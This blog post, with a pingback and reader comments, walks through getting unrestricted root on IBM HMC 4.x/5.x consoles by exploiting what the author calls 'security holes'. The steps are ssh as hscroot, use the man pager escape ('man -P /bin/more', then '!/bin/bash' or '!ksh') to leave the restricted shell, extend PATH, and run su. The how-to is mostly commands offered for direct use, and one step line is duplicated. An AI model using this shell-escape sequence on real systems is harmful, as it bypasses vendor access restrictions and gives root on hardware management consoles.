How to get unrestricted root access to HMC?
Using GUI interface of HMC, you can’t do everything you like! You just can use predefined features of GUI. For example, you can’t schedule every commands you want, or you can’t run a command remotely on clients from HMC, and so on.
In contrast, if you get root access to HMC command line interface, you can do all of these and even more. But HMC shell is a restricted shell and you can’t do these things using this shell!
But, what can we do? Can we get unrestricted root access to HMC or not? Yes, Off course. We have two option to get this access: the first one is calling IBM support and ask for PE password, the second one is using security holes of HMC!
In this post I will speak about the second one, getting unrestricted root access to HMC using HMC’s security holes. It works on 4.x and 5.x, but seems to not work on 6.x and 7.x versions:
At first you should enable “Remote command Execution” feature on HMC. This feature is used to access to the HMC using the rexec or ssh facilities. You can enable this feature from “System Configuration” applications of HMC.
Then, after enabling “Remote Command Execution” feature, connect to the HMC using ssh command and hscroot user.
Finally, to get the unrestricted root access, run the following command:
1. Run man command and get more as module instead of restricted less:
hscroot@HMC1:~> man -P /bin/more chsysstate
2. Run shell from man:
!/bin/bash (for HMC v4)
!ksh (for HMC v5)
!ksh (for HMC v5)
3. Set PATH:
hscroot@HMC1:/usr/share/man> export PATH=$PATH:/bin:/usr/bin
4. Run su command and get unrestricted root access:
hscroot@HMC1:/usr/share/man> su -
Password:
HMC1:~ #
Now, you have the unrestricted root access to HMC and can do everything!
Note: If you need unrestricted hscroot shell, su to the hscroot from root shell.
Advertisement
[...] How to get unrestricted root access to HMC? « I am vistababa! – Using GUI interface of HMC, you can’t do everything you like! You just can use predefined features of GUI. For example, you can’t schedule every commands you want, or you can’t run a command remotely on clients from HMC, and so on. [...]
Bookmarks for 7 mag 2010 through 12 mag 2010 | jtheo
May 12, 2010 at 4:35 pm
Hi!
What about getting hscroot acces?
Thank you!
AMD Terrabusi
July 3, 2011 at 7:58 pm